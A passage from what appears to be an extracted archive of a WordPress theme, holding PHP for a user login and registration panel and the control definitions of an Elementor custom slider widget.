									<?php echo get_avatar( $current_user->ID, 85 ); ?>
								</div>
								<p>
									<span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
									<span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
								</p>
							</div>
							<div class="penci-user-action-links">
								<?php
								if ( class_exists( 'bbpress' ) ) {
									$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
								} else {
									$profile_url = get_edit_user_link();
								}
								?>
								<a class="penci-button penci-button-ptofile" href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon('far fa-user-circle'); ?> <?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
								<a class="penci-button penci-button-logout" href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon('fas fa-sign-out-alt'); ?> <?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
							</div>
						</div>
						<?php
					}
					?>
				</div>
				<?php if( ! is_user_logged_in() && get_option( 'users_can_register' ) ){ ?>
				<div class="penci-register-wrap clearfix<?php echo( 'register' != $form_type ? ' hidden' : '' ); ?>">
					<div class="penci-register-container">
						<form name="form" id="penci-registration-form" class="penci-registration-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
							<input type="hidden" name="_wpnonce" class="penci_form_nonce" value="<?php echo wp_create_nonce( 'register' ); ?>">
							<p class="register-input">
								<input class="penci_first_name penci-input" name="penci_first_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_last_name penci-input" name="penci_last_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_name penci-input" name="penci_user_name" type="text" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_email penci-input" name="penci_user_email" type="email" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_pass penci-input" name="penci_user_pass" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
							</p>
							<p class="register-input">
								<input class="penci_user_pass_confirm penci-input" name="penci_user_pass_confirm" type="password" placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
							</p>
							<?php do_action( 'register_form' ); ?>
							<p class="register-input">
								<input type="submit" name="penci_submit" class="button" value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
							</p>
						</form>
						<?php
						echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
						?>
					</div>
				</div>
				<?php } ?>
				<div class="penci-loading-icon"><?php penci_fawesome_icon('fas fa-spinner fa-pulse fa-3x fa-fw'); ?></div>
			</div>
		</div>
		<?php
		}
	}
}
PK     1w\tm  m  1  elementor/modules/penci-custom-sliders/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCustomSliders;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-custom-sliders';
	}

	public function get_widgets() {
		return array( 'PenciCustomSliders' );
	}
}
PK     1w\#`  `  G  elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCustomSliders\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCustomSliders extends Base_Widget {

	public function get_name() {
		return 'penci-custom-sliders';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Custom Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-slideshow';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'slides', 'carousel', 'image', 'title', 'slider' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slides', array(
				'label' => __( 'Slides', 'soledad' )
			)
		);

		$repeater = new Repeater();
		$repeater->start_controls_tabs( 'slides_repeater' );

		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );
		$repeater->add_control(
			'heading', array(
				'label'       => __( 'Title & Description', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'Slide Heading', 'soledad' ),
				'label_block' => true,
			)
		);

		$repeater->add_control(
			'description', array(
				'label'      => __( 'Description', 'soledad' ),
				'type'       => Controls_Manager::TEXTAREA,
				'default'    => __( 'I am slide content. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'show_label' => false,
			)
		);

		$repeater->add_control(
			'button_text', array(
				'label'   => __( 'Button Text 1', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Click Here', 'soledad' ),
			)
		);

		$repeater->add_control(
			'button_link', array(
				'label'       => __( 'Button Link 1', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);
		$repeater->add_control(
			'button_text2', array(
				'label'   => __( 'Button Text 2', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Click Here', 'soledad' ),
			)
		);

		$repeater->add_control(
			'button_link2', array(
				'label'       => __( 'Button Link 2', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$repeater->add_control(
			'add_url_feat_img', array(
				'label'     => __( 'Add image url', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',

			)
		);

		$repeater->add_control(
			'url_feat_img', array(
				'label'       => __( 'Image Url', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'conditions'  => array(
					'terms' => array(
						array(
							'name'  => 'add_url_feat_img',
							'value' => 'yes',
						)
					),
				),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'background', array( 'label' => __( 'Background', 'soledad' ) ) );

		$repeater->add_control(
			'background_type', array(
				'label'   => __( 'Background Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image',
				'options' => [
					'image' => 'Image',
					'video' => 'Video',
				]
			)
		);

		$repeater->add_control(
			'background_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#bbbbbb',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-color: {{VALUE}}' ),
			)
		);

		$repeater->add_control(
			'background_video',
			array(
				'label'       => __( 'Background Video URL', 'soledad' ),
				'label_block' => true,
				'separator'   => 'before',
				'condition'   => [ 'background_type' => 'video' ],
			)
		);

		$repeater->add_control(
			'background_image', array(
				'label'     => _x( 'Image', 'Background Control', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => [ 'background_type' => 'image' ],
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-image: url({{URL}})' ),
			)
		);
		$repeater->add_control(
			'background_size', array(
				'label'     => _x( 'Size', 'Background Control', 'soledad' ),
				'condition' => [ 'background_type' => 'image' ],
				'type'      => Controls_Manager::SELECT,
				'default'   => 'cover',
				'options'   => array(
					'cover'   => _x( 'Cover', 'Background Control', 'soledad' ),
					'contain' => _x( 'Contain', 'Background Control', 'soledad' ),
					'auto'    => _x( 'Auto', 'Background Control', 'soledad' ),
				),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-bg' => 'background-size: {{VALUE}}'
				),
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'background_ken_burns', array(
				'label'     => __( 'Ken Burns Effect', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'separator' => 'before',
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'zoom_direction', array(
				'label'     => __( 'Zoom Direction', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'in',
				'options'   => array(
					'in'  => __( 'In', 'soledad' ),
					'out' => __( 'Out', 'soledad' ),
				),
				'condition' => [ 'background_ken_burns' => 'yes' ],
			)
		);

		$repeater->add_control(
			'background_overlay', array(
				'label'     => __( 'Background Overlay', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'separator' => 'before',
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'background_overlay_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => 'rgba(0,0,0,0.5)',
				'condition' => [ 'background_overlay' => 'yes' ],
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-bg-overlay' => 'background-color: {{VALUE}}'
				)
			)
		);
		$repeater->add_control(
			'background_overlay_blend_mode', array(
				'label'     => __( 'Blend Mode', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''            => __( 'Normal', 'soledad' ),
					'multiply'    => 'Multiply',
					'screen'      => 'Screen',
					'overlay'     => 'Overlay',
					'darken'      => 'Darken',
					'lighten'     => 'Lighten',
					'color-dodge' => 'Color Dodge',
					'color-burn'  => 'Color Burn',
					'hue'         => 'Hue',
					'saturation'  => 'Saturation',
					'color'       => 'Color',
					'exclusion'   => 'Exclusion',
					'luminosity'  => 'Luminosity',
				),
				'condition' => [ 'background_overlay' => 'yes' ],
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-bg-overlay' => 'mix-blend-mode: {{VALUE}}' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control(
			'custom_style', array(
				'label'       => __( 'Custom', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Set custom style that will only affect this specific slide.', 'soledad' ),
			)
		);

		$repeater->add_control(
			'horizontal_position', array(
				'label'                => __( 'Horizontal Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-content' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'margin-right: auto',
					'center' => 'margin: 0 auto',
					'right'  => 'margin-left: auto',
				),
				'conditions'           => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					),
				),
			)
		);

		$repeater->add_control(
			'vertical_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
				'conditions'           => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				),
			)
		);

		$repeater->add_control(
			'text_align', array(
				'label'       => __( 'Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner' => 'text-align: {{VALUE}}'
				),
				'conditions'  => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				),
			)
		);

		$repeater->add_control(
			'content_color', array(
				'label'      => __( 'Content Color', 'soledad' ),
				'type'       => Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title'                     => 'color: {{VALUE}}',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption'                   => 'color: {{VALUE}}',
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-slider_btnwrap .pencislider-btn' => 'color: {{VALUE}}; border-color: {{VALUE}}',
				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);

		$repeater->add_control(
			'bg_item_overlay', array(
				'label'      => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'       => Controls_Manager::SELECT,
				'default'    => '',
				'options'    => array(
					''    => 'Default',
					'yes' => 'Yes',
					'no'  => 'No',
				),
				'separator'  => 'before',
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_control(
			'bgoverlay_opacity', array(
				'label'      => __( 'Overlay Background Opacity', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner:before'   => 'opacity: {{SIZE}};',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};',

				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_control(
			'bgoverlay_color', array(
				'label'      => __( 'Overlay Background Color', 'soledad' ),
				'type'       => Controls_Manager::COLOR,
				'selectors'  => array(
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner:before'   => 'background-color: {{VALUE}}',
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}',
				),
				'default'    => '',
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_responsive_control(
			'bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner'   => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'penci_slides', array(
				'label'       => __( 'Slides', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'show_label'  => true,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'heading'          => __( 'Slide 1 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#833ca3',
					),
					array(
						'heading'          => __( 'Slide 2 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#4054b2',
					),
					array(
						'heading'          => __( 'Slide 3 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#1abc9c',
					)
				),
				'title_field' => '{{{ heading }}}',
			)
		);

		$this->add_control(
			'use_parallax', array(
				'label'     => __( 'Enable Parallax Effect', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',

			)
		);

		$this->add_control(
			'fullscreen', array(
				'label'     => __( 'Enable Full Screen Slider', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-custom-slides' => 'width: 100%;height: 100vh',
					'{{WRAPPER}} .penci-ctslide-wrap'  => 'height: 100vh;'
				]
			)
		);

		$this->add_control(
			'use_ratio', array(
				'label'     => __( 'Use Ratio Height/Width', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
				'condition' => [ 'fullscreen!' => 'yes' ]
			)
		);
		$this->add_responsive_control(
			'slides_img_ratio', array(
				'label'      => __( 'Ratio Height/Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => array( 'size' => 0.5 ),
				'range'      => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-ctslide-wrap'        => 'height: auto !important;',
					'{{WRAPPER}} .penci-ctslide-wrap:before' => 'content:"";padding-top:calc( {{SIZE}} * 100% );',
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'fullscreen',
							'operator' => '!=',
							'value'    => 'yes'
						],
						[
							'name'     => 'use_ratio',
							'operator' => '=',
							'value'    => 'yes'
						],
					]
				)
			)
		);

		$this->add_responsive_control(
			'slides_height', array(
				'label'      => __( 'Height', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array(
					'px' => array( 'min' => 100, 'max' => 1500 ),
				),
				'default'    => array( 'size' => 400 ),
				'size_units' => array( 'px' ),
				'selectors'  => array( '{{WRAPPER}} .penci-ctslide-wrap' => 'height: {{SIZE}}{{UNIT}};' ),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'fullscreen',
							'operator' => '!=',
							'value'    => 'yes'
						],
						[
							'name'     => 'use_ratio',
							'operator' => '!=',
							'value'    => 'yes'
						],
					]
				)
			)
		);

		$this->add_responsive_control(
			'slides_img_ratio_f', array(
				'label'     => __( 'Ratio Height/Width on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'devices'   => [ 'mobile' ],
				'default'   => array( 'size' => 0.5 ),
				'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors' => array(
					'{{WRAPPER}} .enable-fullscreen .penci-ctslide-wrap:before'                                              => 'content:"";padding-top:calc( {{SIZE}} * 100% );',
					'{{WRAPPER}} .penci-custom-slides.enable-fullscreen, {{WRAPPER}} .enable-fullscreen .penci-ctslide-wrap' => 'height: auto !important;width: 100%',
				),
				'condition' => [ 'fullscreen' => 'yes' ]
			)
		);

		$this->add_control(
			'btn_2lines', array(
				'label'       => __( 'Second button in a new line on mobile?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Use in case you\'re using 2 buttons and this option helps you can show 2 buttons on mobile in 2 separate rows in case your buttons have long text', 'soledad' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slider_options',
			array(
				'label' => __( 'Slider Options', 'soledad' ),
				'type'  => Controls_Manager::SECTION,
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'single_slider_effect', array(
			'label'   => __( 'General Slider Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'penci_single_slider_effect', 'creative' ),
			'options' => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'loop', array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 800,
				'render_type' => 'template',
				'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'showdots_type',
			array(
				'label'     => __( 'Dots Navigation Types', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'dots',
				'condition' => [ 'showdots' => 'yes' ],
				'options'   => array(
					'dots'        => __( 'Dots', 'soledad' ),
					'number'      => __( 'Numbers', 'soledad' ),
					'number line' => __( 'Lines', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'transition',
			array(
				'label'   => __( 'Transition', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'slide',
				'options' => array(
					'slide' => __( 'Slide', 'soledad' ),
					'fade'  => __( 'Fade', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'content_animation',
			array(
				'label'   => __( 'Content Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'fadeInUp',
				'options' => array(
					''            => __( 'None', 'soledad' ),
					'fadeInUp'    => 'Fade In Up',
					'fadeInDown'  => 'Fade In Down',
					'fadeInLeft'  => 'Fade In Left',
					'fadeInRight' => 'Fade In Right',
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_slides', array(
				'label' => __( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'content_max_width', array(
				'label'          => __( 'Content Width', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'range'          => array(
					'px' => array( 'min' => 0, 'max' => 1000 ),
					'%'  => array( 'min' => 0, 'max' => 100 )
				),
				'size_units'     => array( '%', 'px' ),
				'default'        => array( 'size' => '66', 'unit' => '%' ),
				'tablet_default' => array( 'unit' => '%' ),
				'mobile_default' => array( 'unit' => '%' ),
				'selectors'      => array( '{{WRAPPER}} .penci-ctslider-content' => 'max-width: {{SIZE}}{{UNIT}};' ),
			)
		);

		$this->add_responsive_control(
			'slides_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em', '%' ),
				'selectors'  => array( '{{WRAPPER}} .penci-ctslide-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
			)
		);

		$this->add_control(
			'slides_horizontal_position', array(
				'label'        => __( 'Horizontal Position', 'soledad' ),
				'type'         => Controls_Manager::CHOOSE,
				'label_block'  => false,
				'default'      => 'center',
				'options'      => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'prefix_class' => 'penci-h-poswrap-',
			)
		);

		$this->add_control(
			'slides_vertical_position', array(
				'label'        => __( 'Vertical Position', 'soledad' ),
				'type'         => Controls_Manager::CHOOSE,
				'label_block'  => false,
				'default'      => 'middle',
				'options'      => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'prefix_class' => 'penci-v-poswrap-',
			)
		);

		$this->add_control(
			'slides_text_align', array(
				'label'       => __( 'Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'default'     => 'center',
				'selectors'   => array(
					'{{WRAPPER}} .penci-ctslide-inner' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title', array(
				'label' => __( 'Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'heading_spacing', array(
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pencislider-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->add_control(
			'heading_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pencislider-title' => 'color: {{VALUE}}' )
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typography',
				'selector' => '{{WRAPPER}} .pencislider-title',
			)
		);

		$this->add_control(
			'heading_overlay', array(
				'label'     => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			)
		);
		$this->add_control(
			'heading_bgoverlay_opacity', array(
				'label'     => __( 'Overlay Background Opacity', 'elementor' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => .4 ),
				'range'     => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors' => array( '{{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};' ),
				'condition' => array( 'heading_overlay' => 'yes' )
			)
		);
		$this->add_control(
			'heading_bgoverlay_color', array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}' ),
				'default'   => '#000000',
				'condition' => array( 'heading_overlay' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'heading_bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'condition'  => array( 'heading_overlay' => 'yes' ),
				'selectors'  => array( '{{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' )
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description', array(
				'label' => __( 'Description', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'description_spacing', array(
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
